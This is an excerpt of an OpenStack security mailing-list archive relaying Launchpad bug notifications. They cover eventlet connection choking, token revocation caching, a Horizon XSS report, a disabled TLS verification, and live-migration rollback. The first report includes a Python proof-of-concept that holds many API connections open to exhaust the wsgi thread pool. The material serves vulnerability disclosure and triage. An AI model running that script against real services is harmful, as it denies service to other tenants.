sleep time, check if the client socket connection is released or not on the API controller node. time.sleep(1000) print “Thread %d complete" % number except requests.exceptions.RequestException as ex: print “Exception occurred %d-%s" % (number, str(ex)) if __name__ == '__main__': processes = [] for number in range(40): p = Process(target=request, args=(number,)) p.start() processes.append(p) for p in processes: p.join() ================================================================================================ Presently, the wsgi server allows persist connections if you configure keepalive to True which is default. In order to close the client socket connection explicitly after the response is sent and read successfully by the client, you simply have to set keepalive to False when you create a wsgi server. Additional information: By default eventlet passes “Connection: keepalive” if keepalive is set to True when a response is sent to the client. But it doesn’t have capability to set the timeout and max parameter. For example. Keep-Alive: timeout=10, max=5 Note: After we have disabled keepalive in all the OpenStack API service using wsgi library, then it might impact all existing applications built with the assumptions that OpenStack API services uses persistent connections. They might need to modify their applications if reconnection logic is not in place and also they might experience the performance has slowed down as it will need to reestablish the http connection for every request. To manage notifications about this bug go to: https://bugs.launchpad.net/cinder/+bug/1361360/+subscriptions From slukjanov at mirantis.com Mon Mar 30 10:17:28 2015 From: slukjanov at mirantis.com (Sergey Lukjanov) Date: Mon, 30 Mar 2015 10:17:28 -0000 Subject: [Openstack-security] [Bug 1361360] Re: Eventlet green threads not released back to the pool leading to choking of new requests References: <20140825203231.13086.48412.malonedeb@wampee.canonical.com> Message-ID: <20150330101733.8046.68325.launchpad@soybean.canonical.com> ** Changed in: sahara Milestone: None => liberty-1 -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1361360 Title: Eventlet green threads not released back to the pool leading to choking of new requests Status in Cinder: Fix Released Status in Cinder icehouse series: Fix Released Status in Cinder juno series: Fix Released Status in OpenStack Image Registry and Delivery Service (Glance): Fix Released Status in Glance icehouse series: In Progress Status in Orchestration API (Heat): In Progress Status in OpenStack Identity (Keystone): In Progress Status in Keystone icehouse series: Confirmed Status in Keystone juno series: Fix Committed Status in OpenStack Neutron (virtual network service): Fix Released Status in neutron icehouse series: Fix Released Status in neutron juno series: Fix Committed Status in OpenStack Compute (Nova): Fix Released Status in OpenStack Compute (nova) icehouse series: In Progress Status in OpenStack Security Advisories: Won't Fix Status in OpenStack Data Processing (Sahara): New Bug description: Currently reproduced on Juno milestone 2. but this issue should be reproducible in all releases since its inception. It is possible to choke OpenStack API controller services using wsgi+eventlet library by simply not closing the client socket connection. Whenever a request is received by any OpenStack API service for example nova api service, eventlet library creates a green thread from the pool and starts processing the request. Even after the response is sent to the caller, the green thread is not returned back to the pool until the client socket connection is closed. This way, any malicious user can send many API requests to the API controller node and determine the wsgi pool size configured for the given service and then send those many requests to the service and after receiving the response, wait there infinitely doing nothing leading to disrupting services for other tenants. Even when service providers have enabled rate limiting feature, it is possible to choke the API services with a group (many tenants) attack. Following program illustrates choking of nova-api services (but this problem is omnipresent in all other OpenStack API Services using wsgi+eventlet) Note: I have explicitly set the wsi_default_pool_size default value to 10 in order to reproduce this problem in nova/wsgi.py. After you run the below program, you should try to invoke API ============================================================================================ import time import requests from multiprocessing import Process def request(number): #Port is important here path = 'http://127.0.0.1:8774/servers' try: response = requests.get(path) print "RESPONSE %s-%d" % (response.status_code, number) #during this sleep time, check if the client socket connection is released or not on the API controller node. time.sleep(1000) print “Thread %d complete" % number except requests.exceptions.RequestException as ex: print “Exception occurred %d-%s" % (number, str(ex)) if __name__ == '__main__': processes = [] for number in range(40): p = Process(target=request, args=(number,)) p.start() processes.append(p) for p in processes: p.join() ================================================================================================ Presently, the wsgi server allows persist connections if you configure keepalive to True which is default. In order to close the client socket connection explicitly after the response is sent and read successfully by the client, you simply have to set keepalive to False when you create a wsgi server. Additional information: By default eventlet passes “Connection: keepalive” if keepalive is set to True when a response is sent to the client. But it doesn’t have capability to set the timeout and max parameter. For example. Keep-Alive: timeout=10, max=5 Note: After we have disabled keepalive in all the OpenStack API service using wsgi library, then it might impact all existing applications built with the assumptions that OpenStack API services uses persistent connections. They might need to modify their applications if reconnection logic is not in place and also they might experience the performance has slowed down as it will need to reestablish the http connection for every request. To manage notifications about this bug go to: https://bugs.launchpad.net/cinder/+bug/1361360/+subscriptions From thierry.carrez+lp at gmail.com Mon Mar 30 14:35:03 2015 From: thierry.carrez+lp at gmail.com (Thierry Carrez) Date: Mon, 30 Mar 2015 14:35:03 -0000 Subject: [Openstack-security] [Bug 1100220] Re: Swift+Glance stops working after changing service password References: <20130116103855.7967.49763.malonedeb@soybean.canonical.com> Message-ID: <20150330143503.26474.98552.malone@gac.canonical.com> Agree cleaning up old entries would be a good thing to do -- not advisory material though ** Changed in: ossa Status: New => Won't Fix -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1100220 Title: Swift+Glance stops working after changing service password Status in OpenStack Glance backend store-drivers library (glance_store): Confirmed Status in OpenStack Security Advisories: Won't Fix Bug description: Hello! We have some trouble with glance+swift storage. After changing password for account, used for Keystone authentication in Glance and Swift, glance stops working with errors 500 (HTTPInternalServerError) and 401 (HTTPUnauthorized). I investigated this issue and found that Glance stores image or snapshot location in database (mysql or sqlite) with _full_ swift URI with login and password. Example: swift+http://admin%3Aadmin:%PASSWORD%@%HOST%:5000/v2.0/glance/357a3fe7-313c-411c-b0b2-bcd6491d12a1 When we changed password in Keystone, this credentials are outdated BUT Glance STILL USE IT for authenticating in Swift, ignoring glance- api.conf and glance-api-paste. In result, we got HTTP500 error in reply to any request to glance (like glance image-download) and HTTP401 error in glance-api.log I can find only one method to workaround this - I manually changed this credentials in MySQL. In our situation (5 images) this way is idiotic, but real. But what if we have 500 or 5000 images and snapshots? I think, glance MUST have any method to change credentials without manual changing thousands of DB records. To manage notifications about this bug go to: https://bugs.launchpad.net/glance-store/+bug/1100220/+subscriptions From sean at dague.net Mon Mar 30 14:51:50 2015 From: sean at dague.net (Sean Dague) Date: Mon, 30 Mar 2015 14:51:50 -0000 Subject: [Openstack-security] [Bug 832507] Re: console.log grows indefinitely References: <20110824042742.10840.74572.malonedeb@wampee.canonical.com> Message-ID: <20150330145150.26369.14717.malone@gac.canonical.com> Long time bug, it's confirmed, not triaged, as the path forward remains unclear. ** Changed in: nova Status: Triaged => Confirmed -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/832507 Title: console.log grows indefinitely Status in OpenStack Compute (Nova): Confirmed Status in OpenStack Security Advisories: Won't Fix Status in libvirt package in Ubuntu: Fix Released Status in nova package in Ubuntu: Fix Released Status in qemu-kvm package in Ubuntu: Triaged Bug description: KVM takes everything from stdout and prints it to console.log. This does not appear to have a size limit, so if a user (mistakenly or otherwise) sends a lot of data to stdout, the console.log file can fill the entire disk of the compute node quite quickly. To manage notifications about this bug go to: https://bugs.launchpad.net/nova/+bug/832507/+subscriptions From nkinder at redhat.com Mon Mar 30 16:22:09 2015 From: nkinder at redhat.com (Nathan Kinder) Date: Mon, 30 Mar 2015 16:22:09 -0000 Subject: [Openstack-security] [Bug 1435530] Re: keystonemiddleware without TRL checking and default cache config can allow access after token revocation References: <20150323201925.7521.48815.malonedeb@chaenomeles.canonical.com> Message-ID: <20150330162209.7346.57196.launchpad@chaenomeles.canonical.com> ** Also affects: ossn Importance: Undecided Status: New -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1435530 Title: keystonemiddleware without TRL checking and default cache config can allow access after token revocation Status in OpenStack Identity (Keystone) Middleware: New Status in OpenStack Security Advisories: Incomplete Status in OpenStack Security Notes: New Bug description: *** This can probably be made public right away, but I am erring on the side of caution and letting the VMT make this call *** Yukihiro KAWADA reported an issue with Keystone that indirectly led/confirmed an issue with Keystonemiddleware when the Token Revocation List (TRL) is not utilized and caching is enabled (default). If the TRL is not used (common with UUID tokens, as PKI signing is not setup), a token that is used on an endpoint is valid for 300s (default, may be more/less based on config) even if the token is revoked within keystone (this include disabling of the user). Worse, the default is is to cache the tokens in-process memory, which means that the token may appear to be revoked/invalid in some cases and then become re-valid on subsequent requests unless a shared cache is used. This appears to be insane default(s) that lead to a window of exposure that is not clearly communicated either with defaults or when caching times are adjusted. To manage notifications about this bug go to: https://bugs.launchpad.net/keystonemiddleware/+bug/1435530/+subscriptions From morgan.fainberg at gmail.com Mon Mar 30 18:48:09 2015 From: morgan.fainberg at gmail.com (Morgan Fainberg) Date: Mon, 30 Mar 2015 18:48:09 -0000 Subject: [Openstack-security] [Bug 1430951] Re: Revocation causes duplicate (and overly broad?) events in revocation table References: <20150311182038.25203.5527.malonedeb@chaenomeles.canonical.com> Message-ID: <20150330184809.32464.15535.malone@soybean.canonical.com> Dolph: correct. An explicit token revocation should only be the audit Id revocation event. -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1430951 Title: Revocation causes duplicate (and overly broad?) events in revocation table Status in OpenStack Identity (Keystone): Triaged Bug description: Revoke a project scoped token You see 3 entries in revocation_event table 1) (id, user_id, project_id, role_id, issued_before) 2) (id, user_id,, issued_before) 3) (id, user_id,, issued_before) 2 & 3 are redundant. Definitely 3) is redundant as it is same as 2) BTW, this from master branch as of 3/11/2015 To manage notifications about this bug go to: https://bugs.launchpad.net/keystone/+bug/1430951/+subscriptions From morgan.fainberg at gmail.com Mon Mar 30 19:14:13 2015 From: morgan.fainberg at gmail.com (Morgan Fainberg) Date: Mon, 30 Mar 2015 19:14:13 -0000 Subject: [Openstack-security] [Bug 1435530] Re: keystonemiddleware without TRL checking and default cache config can allow access after token revocation References: <20150323201925.7521.48815.malonedeb@chaenomeles.canonical.com> Message-ID: <20150330191413.7424.48069.malone@chaenomeles.canonical.com> 100% spot on Thierry. And I agree we open this to the public. I deferred that choice to the VMT though. -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1435530 Title: keystonemiddleware without TRL checking and default cache config can allow access after token revocation Status in OpenStack Identity (Keystone) Middleware: New Status in OpenStack Security Advisories: Incomplete Status in OpenStack Security Notes: New Bug description: *** This can probably be made public right away, but I am erring on the side of caution and letting the VMT make this call *** Yukihiro KAWADA reported an issue with Keystone that indirectly led/confirmed an issue with Keystonemiddleware when the Token Revocation List (TRL) is not utilized and caching is enabled (default). If the TRL is not used (common with UUID tokens, as PKI signing is not setup), a token that is used on an endpoint is valid for 300s (default, may be more/less based on config) even if the token is revoked within keystone (this include disabling of the user). Worse, the default is is to cache the tokens in-process memory, which means that the token may appear to be revoked/invalid in some cases and then become re-valid on subsequent requests unless a shared cache is used. This appears to be insane default(s) that lead to a window of exposure that is not clearly communicated either with defaults or when caching times are adjusted. To manage notifications about this bug go to: https://bugs.launchpad.net/keystonemiddleware/+bug/1435530/+subscriptions From tristan.cacqueray at enovance.com Mon Mar 30 20:38:07 2015 From: tristan.cacqueray at enovance.com (Tristan Cacqueray) Date: Mon, 30 Mar 2015 20:38:07 -0000 Subject: [Openstack-security] [Bug 1435530] Re: keystonemiddleware without TRL checking and default cache config can allow access after token revocation References: <20150323201925.7521.48815.malonedeb@chaenomeles.canonical.com> Message-ID: <20150330203807.7490.94485.malone@chaenomeles.canonical.com> Brant, bug 1287301 affects keystone setups with a TRL while this one affects setups without TRL... Though the behavior is basically the same. +1 to open this and remove the OSSA task. -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1435530 Title: keystonemiddleware without TRL checking and default cache config can allow access after token revocation Status in OpenStack Identity (Keystone) Middleware: New Status in OpenStack Security Advisories: Incomplete Status in OpenStack Security Notes: New Bug description: *** This can probably be made public right away, but I am erring on the side of caution and letting the VMT make this call *** Yukihiro KAWADA reported an issue with Keystone that indirectly led/confirmed an issue with Keystonemiddleware when the Token Revocation List (TRL) is not utilized and caching is enabled (default). If the TRL is not used (common with UUID tokens, as PKI signing is not setup), a token that is used on an endpoint is valid for 300s (default, may be more/less based on config) even if the token is revoked within keystone (this include disabling of the user). Worse, the default is is to cache the tokens in-process memory, which means that the token may appear to be revoked/invalid in some cases and then become re-valid on subsequent requests unless a shared cache is used. This appears to be insane default(s) that lead to a window of exposure that is not clearly communicated either with defaults or when caching times are adjusted. To manage notifications about this bug go to: https://bugs.launchpad.net/keystonemiddleware/+bug/1435530/+subscriptions From 1427228 at bugs.launchpad.net Mon Mar 30 21:46:35 2015 From: 1427228 at bugs.launchpad.net (Kyle Mestery) Date: Mon, 30 Mar 2015 21:46:35 -0000 Subject: [Openstack-security] [Bug 1427228] Re: Allow to run neutron-ns-metadata-proxy as nobody References: <20150302135536.21027.11405.malonedeb@soybean.canonical.com> Message-ID: <20150330214636.7212.20892.launchpad@chaenomeles.canonical.com> ** Changed in: neutron Importance: Undecided => High ** Changed in: neutron Milestone: None => kilo-rc1 -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1427228 Title: Allow to run neutron-ns-metadata-proxy as nobody Status in OpenStack Neutron (virtual network service): In Progress Bug description: Currently neutron-ns-metadata-proxy runs with neutron user/group permissions on l3-agent but we should allow to run it with less permissions as neutron user is allowed to run neutron-rootwrap. We should restrict as much as possible neutron-ns-metadata-proxy permissions as it's reachable from VMs. To manage notifications about this bug go to: https://bugs.launchpad.net/neutron/+bug/1427228/+subscriptions From 1430951 at bugs.launchpad.net Wed Mar 18 21:06:38 2015 From: 1430951 at bugs.launchpad.net (Dolph Mathews) Date: Wed, 18 Mar 2015 21:06:38 -0000 Subject: [Openstack-security] [Bug 1430951] Re: Revocation causes duplicate events in revocation table References: <20150311182038.25203.5527.malonedeb@chaenomeles.canonical.com> Message-ID: <20150318210638.25461.41488.malone@gac.canonical.com> Both of those additional defects sound like intended behavior: the user had a reduction in authorization and thus a revocation event was emitted. Trying to be more granular than that is the performance nightmare that we see with token persistence and the token revocation *list*. ** Tags added: security -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1430951 Title: Revocation causes duplicate (and overly broad?) events in revocation table Status in OpenStack Identity (Keystone): Triaged Bug description: Revoke a project scoped token You see 3 entries in revocation_event table 1) (id, user_id, project_id, role_id, issued_before) 2) (id, user_id,, issued_before) 3) (id, user_id,, issued_before) 2 & 3 are redundant. Definitely 3) is redundant as it is same as 2) BTW, this from master branch as of 3/11/2015 To manage notifications about this bug go to: https://bugs.launchpad.net/keystone/+bug/1430951/+subscriptions From 1430951 at bugs.launchpad.net Wed Mar 18 21:07:35 2015 From: 1430951 at bugs.launchpad.net (Dolph Mathews) Date: Wed, 18 Mar 2015 21:07:35 -0000 Subject: [Openstack-security] [Bug 1430951] Re: Revocation causes duplicate events in revocation table References: <20150311182038.25203.5527.malonedeb@chaenomeles.canonical.com> Message-ID: <20150318210735.14934.4531.malone@soybean.canonical.com> If you revoke a project-scoped token, I believe the only revocation event should should see is one based on an audit ID. ** Changed in: keystone Importance: Undecided => High ** Changed in: keystone Milestone: None => kilo-rc1 ** Changed in: keystone Status: New => Triaged ** Summary changed: - Revocation causes duplicate events in revocation table + Revocation causes duplicate (and overly broad?) events in revocation table -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1430951 Title: Revocation causes duplicate (and overly broad?) events in revocation table Status in OpenStack Identity (Keystone): Triaged Bug description: Revoke a project scoped token You see 3 entries in revocation_event table 1) (id, user_id, project_id, role_id, issued_before) 2) (id, user_id,, issued_before) 3) (id, user_id,, issued_before) 2 & 3 are redundant. Definitely 3) is redundant as it is same as 2) BTW, this from master branch as of 3/11/2015 To manage notifications about this bug go to: https://bugs.launchpad.net/keystone/+bug/1430951/+subscriptions From bbobrov at mirantis.com Thu Mar 19 08:34:42 2015 From: bbobrov at mirantis.com (Boris Bobrov) Date: Thu, 19 Mar 2015 08:34:42 -0000 Subject: [Openstack-security] [Bug 1391504] Re: Sample policies for Openstack References: <20141111130915.17341.22090.malonedeb@chaenomeles.canonical.com> Message-ID: <20150319083445.6975.60577.launchpad@chaenomeles.canonical.com> ** Changed in: keystone Status: In Progress => Confirmed ** Changed in: keystone Assignee: Andre Aranha (afaranha) => (unassigned) -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1391504 Title: Sample policies for Openstack Status in Cinder: Triaged Status in OpenStack Image Registry and Delivery Service (Glance): In Progress Status in OpenStack Identity (Keystone): Confirmed Status in OpenStack Neutron (virtual network service): In Progress Status in OpenStack Compute (Nova): Confirmed Bug description: Regarding OpenStack policies, in general, the described roles seem quite complicated, it is not clear which roles are appropriated for each user. For example, in many policies it is defined just a global admin role. We would like to clarify what are the role organizations, for example, cloud_admin is the role for the cloud managers, domain_admin is the role for the domain managers, project_admin for the project admin and project_member a member with a role in a project but with no admin permissions. In this way, it is clear for the cloud manager which capability is being given to a user. The idea is create a policy.cloudsample.json, where roles as cloud_admin project_admin, and project_member will be defined and some default permissions, making policies closer to the business reality. To manage notifications about this bug go to: https://bugs.launchpad.net/cinder/+bug/1391504/+subscriptions From bbobrov at mirantis.com Thu Mar 19 08:42:00 2015 From: bbobrov at mirantis.com (Boris Bobrov) Date: Thu, 19 Mar 2015 08:42:00 -0000 Subject: [Openstack-security] [Bug 1391504] Re: Sample policies for Openstack References: <20141111130915.17341.22090.malonedeb@chaenomeles.canonical.com> Message-ID: <20150319084200.7756.57368.malone@chaenomeles.canonical.com> In Keystone the change was https://review.openstack.org/#/c/123509/ Removing "In Progress" status and assignee as change is blocked and stalled. -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1391504 Title: Sample policies for Openstack Status in Cinder: Triaged Status in OpenStack Image Registry and Delivery Service (Glance): In Progress Status in OpenStack Identity (Keystone): Confirmed Status in OpenStack Neutron (virtual network service): In Progress Status in OpenStack Compute (Nova): Confirmed Bug description: Regarding OpenStack policies, in general, the described roles seem quite complicated, it is not clear which roles are appropriated for each user. For example, in many policies it is defined just a global admin role. We would like to clarify what are the role organizations, for example, cloud_admin is the role for the cloud managers, domain_admin is the role for the domain managers, project_admin for the project admin and project_member a member with a role in a project but with no admin permissions. In this way, it is clear for the cloud manager which capability is being given to a user. The idea is create a policy.cloudsample.json, where roles as cloud_admin project_admin, and project_member will be defined and some default permissions, making policies closer to the business reality. To manage notifications about this bug go to: https://bugs.launchpad.net/cinder/+bug/1391504/+subscriptions From 1432901 at bugs.launchpad.net Mon Mar 23 16:35:58 2015 From: 1432901 at bugs.launchpad.net (John Griffith) Date: Mon, 23 Mar 2015 16:35:58 -0000 Subject: [Openstack-security] [Bug 1432901] Re: solidfire driver ignores certificates References: <20150317005258.24724.63644.malonedeb@chaenomeles.canonical.com> Message-ID: <20150323163558.22988.15347.malone@chaenomeles.canonical.com> *** This bug is a duplicate of bug 1188189 *** https://bugs.launchpad.net/bugs/1188189 Late to the party, but for record keeping.. yes duplicate. -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1432901 Title: solidfire driver ignores certificates Status in Cinder: New Status in OpenStack Security Advisories: Incomplete Bug description: The solidfire driver passes verify=False when initiating an https connection. This in effect bypasses any certificate verification and allows the user to be vulnerable to a man-in-the-middle attack. Certificates should always be trusted before passing credentials. To support cases with self-signed certificates, typically an option to ignore errors is exposed in a config file (cinder.conf). https://github.com/openstack/cinder/blob/master/cinder/volume/drivers/solidfire.py#L198 req = requests.post(url, data=json.dumps(payload), auth=(endpoint['login'], endpoint['passwd']), verify=False, timeout=30) To manage notifications about this bug go to: https://bugs.launchpad.net/cinder/+bug/1432901/+subscriptions From dklyle0 at gmail.com Tue Mar 24 13:52:12 2015 From: dklyle0 at gmail.com (David Lyle) Date: Tue, 24 Mar 2015 13:52:12 -0000 Subject: [Openstack-security] [Bug 1417762] Re: XSS in network create error reporting References: <20150203205415.432.2591.malonedeb@wampee.canonical.com> Message-ID: <20150324135213.22939.99313.launchpad@wampee.canonical.com> ** Changed in: horizon Importance: Undecided => Medium -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1417762 Title: XSS in network create error reporting Status in OpenStack Dashboard (Horizon): New Status in OpenStack Security Advisories: Won't Fix Bug description: --- This issue is being treated as a potential security risk under embargo. Please do not make any public mention of embargoed (private) security vulnerabilities before their coordinated publication by the OpenStack Vulnerability Management Team in the form of an official OpenStack Security Advisory. This includes discussion of the bug or associated fixes in public forums such as mailing lists, code review systems and bug trackers. Please also avoid private disclosure to other individuals not already approved for access to this information, and provide this same reminder to those who are made aware of the issue prior to publication. All discussion should remain confined to this private bug report, and any proposed fixes should be added as to the bug as attachments. --- The error reporting in Horizon for creating a new network is susceptible to a Cross-Site Scripting vulnerability. Example request/response: Request POST /project/networks/create HTTP/1.1 ... csrfmiddlewaretoken=6MGUvp62x8c6GU7TfRXQLZERmJuN7nXT&net_profile_id=&net_name=foobar&admin_state=True&with_subnet=on&subnet_name=&cidr=&ip_version=4&gateway_ip=&enable_dhcp=on&ipv6_modes=none%2Fnone&allocation_pools=&dns_nameservers=&host_routes= Response HTTP/1.1 200 OK Date: Tue, 03 Feb 2015 20:42:28 GMT Server: Apache/2.4.10 (Debian) Vary: Accept-Language,Cookie X-Frame-Options: SAMEORIGIN Content-Language: en Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/json Content-Length: 209 {"has_errors": true, "errors": {"createnetworkinfoaction": {"net_profile_id": ["Select a valid choice. is not one of the available choices."]}}, "workflow_slug": "create_network"} In the above example if the net_profile_id does not exist, the json response contains the user input and Horizon echo's it out. Although it would be difficult to exploit this vulnerability because an attacker would need to manipulate the hidden HTML net_profile_id parameter or the POST body, Horizon should still HTML encode the output. To manage notifications about this bug go to: https://bugs.launchpad.net/horizon/+bug/1417762/+subscriptions From ykshirsa at netapp.com Wed Mar 25 15:16:35 2015 From: ykshirsa at netapp.com (Yogesh) Date: Wed, 25 Mar 2015 15:16:35 -0000 Subject: [Openstack-security] [Bug 1416314] Re: BUG : when live-migration failed, lun-id couldn't be rollback References: <20150130090750.712.84034.malonedeb@chaenomeles.canonical.com> Message-ID: <20150325151635.8108.76560.malone@soybean.canonical.com> Based on my investigation, I did not find any issue on cinder side. In a situation of failed migration, the volume is properly unmapped from the host and the terminate_connection has been called as expected. I rebooted the vm after failed migration to make sure LUNs are properly mapped to the host. I didn't see any discrepancy there too. However, I did see an issue with the BDM table in Nova where "controller-info" column does not rollback the information about "target-id" properly. Therefore, I am moving this bug to Nova. -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1416314 Title: BUG : when live-migration failed, lun-id couldn't be rollback Status in OpenStack Compute (Nova): In Progress Bug description: Hi, guys I'm testing live-migration with openstack Juno. when live-migrate failed with error, lun-id of connection_info in bdm table couldn't be rollback my test version is following : Openstack Version : Juno ( 2014.2.1) Compute Node OS : 3.13.0-44-generic #73-Ubuntu SMP Tue Dec 16 00:22:43 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux Compute Node multipath : multipath-tools 0.4.9-3ubuntu7.2 backend storage : EMC VNX 5400 test step is : 1) create 2 Compute node (host#1 and host#2) 2) create 1 VM on host#1 (vm01) 3) create 2 cinder volumes (vol01, vol02) 4) attach 2 volumes to vm01 (vdb, vdc) 5) host#2's iscsi interface down - this situation can be occurred frequently in production 6) live-migrate vm01 from host#1 to host#2 7) live-migrate fails - please check connection_info(lun-id) of bdm at this time then you can find the lun-id of cinder-volume is not be rollback - please check lun's storage_group by using unisphere then you can find lun has two storage groups. This Bug is very critical because the VM can have different lun mappings when this case is occurred, so that filesystem of volume can be break. Actually this case was occurred and my vm's filesystem was broken. and I think every backend storage of cinder-volume can have same problem because this is the bug of live-migration's rollback process. please fix this bug ASAP. Thank you. To manage notifications about this bug go to: https://bugs.launchpad.net/nova/+bug/1416314/+subscriptions From ykshirsa at netapp.com Wed Mar 25 15:17:57 2015 From: ykshirsa at netapp.com (Yogesh) Date: Wed, 25 Mar 2015 15:17:57 -0000 Subject: [Openstack-security] [Bug 1416314] Re: BUG : when live-migration failed, lun-id couldn't be rollback References: <20150130090750.712.84034.malonedeb@chaenomeles.canonical.com> Message-ID: <20150325151758.25645.10277.malone@gac.canonical.com> Issue with nova BDM table. ** Project changed: cinder => nova ** Changed in: nova Assignee: NetApp (netapp) => (unassigned) -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1416314 Title: BUG : when live-migration failed, lun-id couldn't be rollback Status in OpenStack Compute (Nova): In Progress Bug description: Hi, guys I'm testing live-migration with openstack Juno. when live-migrate failed with error, lun-id of connection_info in bdm table couldn't be rollback my test version is following : Openstack Version : Juno ( 2014.2.1) Compute Node OS : 3.13.0-44-generic #73-Ubuntu SMP Tue Dec 16 00:22:43 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux Compute Node multipath : multipath-tools 0.4.9-3ubuntu7.2 backend storage : EMC VNX 5400 test step is : 1) create 2 Compute node (host#1 and host#2) 2) create 1 VM on host#1 (vm01) 3) create 2 cinder volumes (vol01, vol02) 4) attach 2 volumes to vm01 (vdb, vdc) 5) host#2's iscsi interface down - this situation can be occurred frequently in production 6) live-migrate vm01 from host#1 to host#2 7) live-migrate fails - please check connection_info(lun-id) of bdm at this time then you can find the lun-id of cinder-volume is not be rollback - please check lun's storage_group by using unisphere then you can find lun has two storage groups. This Bug is very critical because the VM can have different lun mappings when this case is occurred, so that filesystem of volume can be break. Actually this case was occurred and my vm's filesystem was broken. and I think every backend storage of cinder-volume can have same problem because this is the bug of live-migration's rollback process. please fix this bug ASAP. Thank you. To manage notifications about this bug go to: https://bugs.launchpad.net/nova/+bug/1416314/+subscriptions From dklyle0 at gmail.com Wed Mar 25 19:55:48 2015 From: dklyle0 at gmail.com (David Lyle) Date: Wed, 25 Mar 2015 19:55:48 -0000 Subject: [Openstack-security] [Bug 1417762] Re: XSS in network create error reporting References: <20150203205415.432.2591.malonedeb@wampee.canonical.com> Message-ID: <20150325195550.7976.63932.launchpad@soybean.canonical.com> ** Changed in: horizon Milestone: kilo-rc1 => liberty-1 ** Tags added: kilo-rc-potential -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1417762 Title: XSS in network create error reporting Status in OpenStack Dashboard (Horizon): New Status in OpenStack Security Advisories: Won't Fix Bug description: --- This issue is being treated as a potential security risk under embargo. Please do not make any public mention of embargoed (private) security vulnerabilities before their coordinated publication by the OpenStack Vulnerability Management Team in the form of an official OpenStack Security Advisory. This includes discussion of the bug or associated fixes in public forums such as mailing lists, code review systems and bug trackers. Please also avoid private disclosure to other individuals not already approved for access to this information, and provide this same reminder to those who are made aware of the issue prior to publication. All discussion should remain confined to this private bug report, and any proposed fixes should be added as to the bug as attachments. --- The error reporting in Horizon for creating a new network is susceptible to a Cross-Site Scripting vulnerability. Example request/response: Request POST /project/networks/create HTTP/1.1 ... csrfmiddlewaretoken=6MGUvp62x8c6GU7TfRXQLZERmJuN7nXT&net_profile_id=&net_name=foobar&admin_state=True&with_subnet=on&subnet_name=&cidr=&ip_version=4&gateway_ip=&enable_dhcp=on&ipv6_modes=none%2Fnone&allocation_pools=&dns_nameservers=&host_routes= Response HTTP/1.1 200 OK Date: Tue, 03 Feb 2015 20:42:28 GMT Server: Apache/2.4.10 (Debian) Vary: Accept-Language,Cookie X-Frame-Options: SAMEORIGIN Content-Language: en Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/json Content-Length: 209 {"has_errors": true, "errors": {"createnetworkinfoaction": {"net_profile_id": ["Select a valid choice. is not one of the available choices."]}}, "workflow_slug": "create_network"} In the above example if the net_profile_id does not exist, the json response contains the user input and Horizon echo's it out. Although it would be difficult to exploit this vulnerability because an attacker would need to manipulate the hidden HTML net_profile_id parameter or the POST body, Horizon should still HTML encode the output. To manage notifications about this bug go to: https://bugs.launchpad.net/horizon/+bug/1417762/+subscriptions From 1411327 at bugs.launchpad.net Wed Mar 25 20:58:45 2015 From: 1411327 at bugs.launchpad.net (Launchpad Bug Tracker) Date: Wed, 25 Mar 2015 20:58:45 -0000 Subject: [Openstack-security] [Bug 1411327] [NEW] Security Guide - Intro to SSL/TLS PKI overview References: <20150115171507.21566.72497.malonedeb@soybean.canonical.com> Message-ID: <20150325205846.23195.26661.launchpad@wampee.canonical.com> Shellee Arnold (shellee-arnold) has assigned this bug to you for openstack-manuals: Current description of PKI is interesting, personally would prefer the descriptions of the core components be a bit more specific and also not a fan of the 'Relying party' 'trusting' as certs should be validated up the chain, against a crl and expiry checked. ----------------------------------- Built: 2015-01-09T08:06:55 00:00 git SHA: 6adcc8b79c64aac5c365326f863368096b4677ba URL: http://docs.openstack.org/security-guide/content/introduction-to-ssl-tls.html source File: file:/home/jenkins/workspace/security-doc-tox-doc-publishdocs/security-guide/section_introduction-to-ssl-tls.xml xml:id: introduction-to-ssl-tls ** Affects: openstack-manuals Importance: Low Assignee: OpenStack Security Group (openstack-ossg) Status: Confirmed ** Tags: sec-guide -- Security Guide - Intro to SSL/TLS PKI overview https://bugs.launchpad.net/bugs/1411327 You received this bug notification because you are a member of OpenStack Security Group, which is a bug assignee. From hfamily15 at gmail.com Wed Mar 25 23:50:40 2015 From: hfamily15 at gmail.com (Hahyun) Date: Wed, 25 Mar 2015 23:50:40 -0000 Subject: [Openstack-security] [Bug 1416314] Re: BUG : when live-migration failed, lun-id couldn't be rollback References: <20150130090750.712.84034.malonedeb@chaenomeles.canonical.com> Message-ID: <20150325235040.7976.95210.malone@soybean.canonical.com> Hi, Yogesh Thank you for your comment. I agree with that this is a nova bug. I have one question. Did you rebooted the vm in 